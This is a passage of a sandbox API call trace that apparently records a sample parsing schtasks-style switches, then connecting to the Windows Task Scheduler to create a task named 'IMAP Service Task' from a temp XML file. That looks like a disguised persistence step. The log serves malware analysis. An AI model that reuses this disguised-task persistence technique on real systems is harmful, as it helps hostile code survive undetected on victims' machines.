[0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.751] lstrlenW (lpString="|d|") returned 3 [0180.751] lstrlenW (lpString="|tn|") returned 4 [0180.751] SetLastError (dwErrCode=0x490) [0180.751] lstrlenW (lpString="m") returned 1 [0180.751] lstrlenW (lpString="m") returned 1 [0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] lstrlenW (lpString="tn") returned 2 [0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|m|") returned 3 [0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.751] lstrlenW (lpString="|m|") returned 3 [0180.751] lstrlenW (lpString="|tn|") returned 4 [0180.751] SetLastError (dwErrCode=0x490) [0180.751] lstrlenW (lpString="i") returned 1 [0180.751] lstrlenW (lpString="i") returned 1 [0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] lstrlenW (lpString="tn") returned 2 [0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|i|") returned 3 [0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.751] lstrlenW (lpString="|i|") returned 3 [0180.751] lstrlenW (lpString="|tn|") returned 4 [0180.751] SetLastError (dwErrCode=0x490) [0180.751] lstrlenW (lpString="tn") returned 2 [0180.751] lstrlenW (lpString="tn") returned 2 [0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] lstrlenW (lpString="tn") returned 2 [0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.751] lstrlenW (lpString="|tn|") returned 4 [0180.751] lstrlenW (lpString="|tn|") returned 4 [0180.751] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0180.752] SetLastError (dwErrCode=0x0) [0180.752] SetLastError (dwErrCode=0x0) [0180.752] lstrlenW (lpString="IMAP Service Task") returned 17 [0180.752] lstrlenW (lpString="-/") returned 2 [0180.752] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0180.752] SetLastError (dwErrCode=0x490) [0180.752] SetLastError (dwErrCode=0x490) [0180.752] SetLastError (dwErrCode=0x0) [0180.752] lstrlenW (lpString="IMAP Service Task") returned 17 [0180.752] StrChrIW (lpStart="IMAP Service Task", wMatch=0x3a) returned 0x0 [0180.752] SetLastError (dwErrCode=0x490) [0180.752] SetLastError (dwErrCode=0x0) [0180.752] lstrlenW (lpString="IMAP Service Task") returned 17 [0180.752] SetLastError (dwErrCode=0x0) [0180.752] SetLastError (dwErrCode=0x0) [0180.752] lstrlenW (lpString="/xml") returned 4 [0180.752] lstrlenW (lpString="-/") returned 2 [0180.752] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0180.752] lstrlenW (lpString="create") returned 6 [0180.752] lstrlenW (lpString="create") returned 6 [0180.752] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.752] lstrlenW (lpString="xml") returned 3 [0180.752] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.752] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8 [0180.752] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.752] lstrlenW (lpString="|create|") returned 8 [0180.752] lstrlenW (lpString="|xml|") returned 5 [0180.752] StrStrIW (lpFirst="|create|", lpSrch="|xml|") returned 0x0 [0180.752] SetLastError (dwErrCode=0x490) [0180.752] lstrlenW (lpString="?") returned 1 [0180.752] lstrlenW (lpString="?") returned 1 [0180.752] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.752] lstrlenW (lpString="xml") returned 3 [0180.752] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.752] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|?|") returned 3 [0180.752] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.752] lstrlenW (lpString="|?|") returned 3 [0180.752] lstrlenW (lpString="|xml|") returned 5 [0180.752] SetLastError (dwErrCode=0x490) [0180.752] lstrlenW (lpString="s") returned 1 [0180.752] lstrlenW (lpString="s") returned 1 [0180.752] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.752] lstrlenW (lpString="xml") returned 3 [0180.752] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.752] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|s|") returned 3 [0180.752] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.752] lstrlenW (lpString="|s|") returned 3 [0180.752] lstrlenW (lpString="|xml|") returned 5 [0180.752] SetLastError (dwErrCode=0x490) [0180.752] lstrlenW (lpString="u") returned 1 [0180.752] lstrlenW (lpString="u") returned 1 [0180.752] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] lstrlenW (lpString="xml") returned 3 [0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|u|") returned 3 [0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.753] lstrlenW (lpString="|u|") returned 3 [0180.753] lstrlenW (lpString="|xml|") returned 5 [0180.753] SetLastError (dwErrCode=0x490) [0180.753] lstrlenW (lpString="p") returned 1 [0180.753] lstrlenW (lpString="p") returned 1 [0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] lstrlenW (lpString="xml") returned 3 [0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|p|") returned 3 [0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.753] lstrlenW (lpString="|p|") returned 3 [0180.753] lstrlenW (lpString="|xml|") returned 5 [0180.753] SetLastError (dwErrCode=0x490) [0180.753] lstrlenW (lpString="ru") returned 2 [0180.753] lstrlenW (lpString="ru") returned 2 [0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] lstrlenW (lpString="xml") returned 3 [0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ru|") returned 4 [0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.753] lstrlenW (lpString="|ru|") returned 4 [0180.753] lstrlenW (lpString="|xml|") returned 5 [0180.753] SetLastError (dwErrCode=0x490) [0180.753] lstrlenW (lpString="rp") returned 2 [0180.753] lstrlenW (lpString="rp") returned 2 [0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] lstrlenW (lpString="xml") returned 3 [0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|rp|") returned 4 [0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.753] lstrlenW (lpString="|rp|") returned 4 [0180.753] lstrlenW (lpString="|xml|") returned 5 [0180.753] SetLastError (dwErrCode=0x490) [0180.753] lstrlenW (lpString="sc") returned 2 [0180.753] lstrlenW (lpString="sc") returned 2 [0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] lstrlenW (lpString="xml") returned 3 [0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sc|") returned 4 [0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.753] lstrlenW (lpString="|sc|") returned 4 [0180.753] lstrlenW (lpString="|xml|") returned 5 [0180.753] SetLastError (dwErrCode=0x490) [0180.753] lstrlenW (lpString="mo") returned 2 [0180.753] lstrlenW (lpString="mo") returned 2 [0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.753] lstrlenW (lpString="xml") returned 3 [0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|mo|") returned 4 [0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.754] lstrlenW (lpString="|mo|") returned 4 [0180.754] lstrlenW (lpString="|xml|") returned 5 [0180.754] SetLastError (dwErrCode=0x490) [0180.754] lstrlenW (lpString="d") returned 1 [0180.754] lstrlenW (lpString="d") returned 1 [0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] lstrlenW (lpString="xml") returned 3 [0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|d|") returned 3 [0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.754] lstrlenW (lpString="|d|") returned 3 [0180.754] lstrlenW (lpString="|xml|") returned 5 [0180.754] SetLastError (dwErrCode=0x490) [0180.754] lstrlenW (lpString="m") returned 1 [0180.754] lstrlenW (lpString="m") returned 1 [0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] lstrlenW (lpString="xml") returned 3 [0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|m|") returned 3 [0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.754] lstrlenW (lpString="|m|") returned 3 [0180.754] lstrlenW (lpString="|xml|") returned 5 [0180.754] SetLastError (dwErrCode=0x490) [0180.754] lstrlenW (lpString="i") returned 1 [0180.754] lstrlenW (lpString="i") returned 1 [0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] lstrlenW (lpString="xml") returned 3 [0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|i|") returned 3 [0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.754] lstrlenW (lpString="|i|") returned 3 [0180.754] lstrlenW (lpString="|xml|") returned 5 [0180.754] SetLastError (dwErrCode=0x490) [0180.754] lstrlenW (lpString="tn") returned 2 [0180.754] lstrlenW (lpString="tn") returned 2 [0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] lstrlenW (lpString="xml") returned 3 [0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.754] lstrlenW (lpString="|tn|") returned 4 [0180.754] lstrlenW (lpString="|xml|") returned 5 [0180.754] SetLastError (dwErrCode=0x490) [0180.754] lstrlenW (lpString="tr") returned 2 [0180.754] lstrlenW (lpString="tr") returned 2 [0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] lstrlenW (lpString="xml") returned 3 [0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tr|") returned 4 [0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.755] lstrlenW (lpString="|tr|") returned 4 [0180.755] lstrlenW (lpString="|xml|") returned 5 [0180.755] SetLastError (dwErrCode=0x490) [0180.755] lstrlenW (lpString="st") returned 2 [0180.755] lstrlenW (lpString="st") returned 2 [0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] lstrlenW (lpString="xml") returned 3 [0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|st|") returned 4 [0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.755] lstrlenW (lpString="|st|") returned 4 [0180.755] lstrlenW (lpString="|xml|") returned 5 [0180.755] SetLastError (dwErrCode=0x490) [0180.755] lstrlenW (lpString="sd") returned 2 [0180.755] lstrlenW (lpString="sd") returned 2 [0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] lstrlenW (lpString="xml") returned 3 [0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sd|") returned 4 [0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.755] lstrlenW (lpString="|sd|") returned 4 [0180.755] lstrlenW (lpString="|xml|") returned 5 [0180.755] SetLastError (dwErrCode=0x490) [0180.755] lstrlenW (lpString="ed") returned 2 [0180.755] lstrlenW (lpString="ed") returned 2 [0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] lstrlenW (lpString="xml") returned 3 [0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ed|") returned 4 [0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.755] lstrlenW (lpString="|ed|") returned 4 [0180.755] lstrlenW (lpString="|xml|") returned 5 [0180.755] SetLastError (dwErrCode=0x490) [0180.755] lstrlenW (lpString="it") returned 2 [0180.755] lstrlenW (lpString="it") returned 2 [0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] lstrlenW (lpString="xml") returned 3 [0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|it|") returned 4 [0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.755] lstrlenW (lpString="|it|") returned 4 [0180.755] lstrlenW (lpString="|xml|") returned 5 [0180.755] SetLastError (dwErrCode=0x490) [0180.755] lstrlenW (lpString="et") returned 2 [0180.755] lstrlenW (lpString="et") returned 2 [0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] lstrlenW (lpString="xml") returned 3 [0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|et|") returned 4 [0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.755] lstrlenW (lpString="|et|") returned 4 [0180.755] lstrlenW (lpString="|xml|") returned 5 [0180.755] SetLastError (dwErrCode=0x490) [0180.756] lstrlenW (lpString="k") returned 1 [0180.756] lstrlenW (lpString="k") returned 1 [0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] lstrlenW (lpString="xml") returned 3 [0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|k|") returned 3 [0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.756] lstrlenW (lpString="|k|") returned 3 [0180.756] lstrlenW (lpString="|xml|") returned 5 [0180.756] SetLastError (dwErrCode=0x490) [0180.756] lstrlenW (lpString="du") returned 2 [0180.756] lstrlenW (lpString="du") returned 2 [0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] lstrlenW (lpString="xml") returned 3 [0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|du|") returned 4 [0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.756] lstrlenW (lpString="|du|") returned 4 [0180.756] lstrlenW (lpString="|xml|") returned 5 [0180.756] SetLastError (dwErrCode=0x490) [0180.756] lstrlenW (lpString="ri") returned 2 [0180.756] lstrlenW (lpString="ri") returned 2 [0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] lstrlenW (lpString="xml") returned 3 [0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ri|") returned 4 [0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.756] lstrlenW (lpString="|ri|") returned 4 [0180.756] lstrlenW (lpString="|xml|") returned 5 [0180.756] SetLastError (dwErrCode=0x490) [0180.756] lstrlenW (lpString="z") returned 1 [0180.756] lstrlenW (lpString="z") returned 1 [0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] lstrlenW (lpString="xml") returned 3 [0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|z|") returned 3 [0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.756] lstrlenW (lpString="|z|") returned 3 [0180.756] lstrlenW (lpString="|xml|") returned 5 [0180.756] SetLastError (dwErrCode=0x490) [0180.756] lstrlenW (lpString="f") returned 1 [0180.756] lstrlenW (lpString="f") returned 1 [0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] lstrlenW (lpString="xml") returned 3 [0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.756] lstrlenW (lpString="|f|") returned 3 [0180.756] lstrlenW (lpString="|xml|") returned 5 [0180.756] SetLastError (dwErrCode=0x490) [0180.756] lstrlenW (lpString="v1") returned 2 [0180.756] lstrlenW (lpString="v1") returned 2 [0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.757] lstrlenW (lpString="xml") returned 3 [0180.757] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.757] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|v1|") returned 4 [0180.757] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.757] lstrlenW (lpString="|v1|") returned 4 [0180.757] lstrlenW (lpString="|xml|") returned 5 [0180.757] SetLastError (dwErrCode=0x490) [0180.757] lstrlenW (lpString="xml") returned 3 [0180.757] lstrlenW (lpString="xml") returned 3 [0180.757] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.757] lstrlenW (lpString="xml") returned 3 [0180.757] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.757] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.757] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5 [0180.757] lstrlenW (lpString="|xml|") returned 5 [0180.757] lstrlenW (lpString="|xml|") returned 5 [0180.757] StrStrIW (lpFirst="|xml|", lpSrch="|xml|") returned="|xml|" [0180.757] SetLastError (dwErrCode=0x0) [0180.757] SetLastError (dwErrCode=0x0) [0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.757] lstrlenW (lpString="-/") returned 2 [0180.757] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0180.757] SetLastError (dwErrCode=0x490) [0180.757] SetLastError (dwErrCode=0x490) [0180.757] SetLastError (dwErrCode=0x0) [0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.757] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" [0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.757] _memicmp (_Buf1=0x304bf0, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.757] _memicmp (_Buf1=0x304c20, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.757] SetLastError (dwErrCode=0x7a) [0180.757] SetLastError (dwErrCode=0x0) [0180.757] SetLastError (dwErrCode=0x0) [0180.757] lstrlenW (lpString="C") returned 1 [0180.757] SetLastError (dwErrCode=0x490) [0180.757] SetLastError (dwErrCode=0x0) [0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.757] SetLastError (dwErrCode=0x0) [0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.757] SetLastError (dwErrCode=0x0) [0180.757] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0180.762] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0180.766] CoCreateInstance (in: rclsid=0xa9230c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xa920fc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x29ce5c | out: ppv=0x29ce5c*=0x4e3d88) returned 0x0 [0180.771] TaskScheduler:ITaskService:Connect (This=0x4e3d88, serverName=0x29cdcc*(varType=0x8, wReserved1=0x0, wReserved2=0xce40, wReserved3=0x29, varVal1=0x0, varVal2=0x29d710), user=0x29cddc*(varType=0x0, wReserved1=0x29, wReserved2=0xce64, wReserved3=0x29, varVal1=0x76679cde, varVal2=0x29d710), domain=0x29cdec*(varType=0x0, wReserved1=0x0, wReserved2=0x1f8, wReserved3=0x0, varVal1=0x2, varVal2=0x0), password=0x29cdfc*(varType=0x0, wReserved1=0x0, wReserved2=0x9c39, wReserved3=0x7667, varVal1=0x78, varVal2=0x29d890)) returned 0x0 [0180.773] TaskScheduler:IUnknown:AddRef (This=0x4e3d88) returned 0x2 [0180.773] TaskScheduler:ITaskService:GetFolder (in: This=0x4e3d88, Path=0x0, ppFolder=0x29cf00 | out: ppFolder=0x29cf00*=0x4e3df0) returned 0x0 [0180.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmpd88.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0x108 [0180.773] 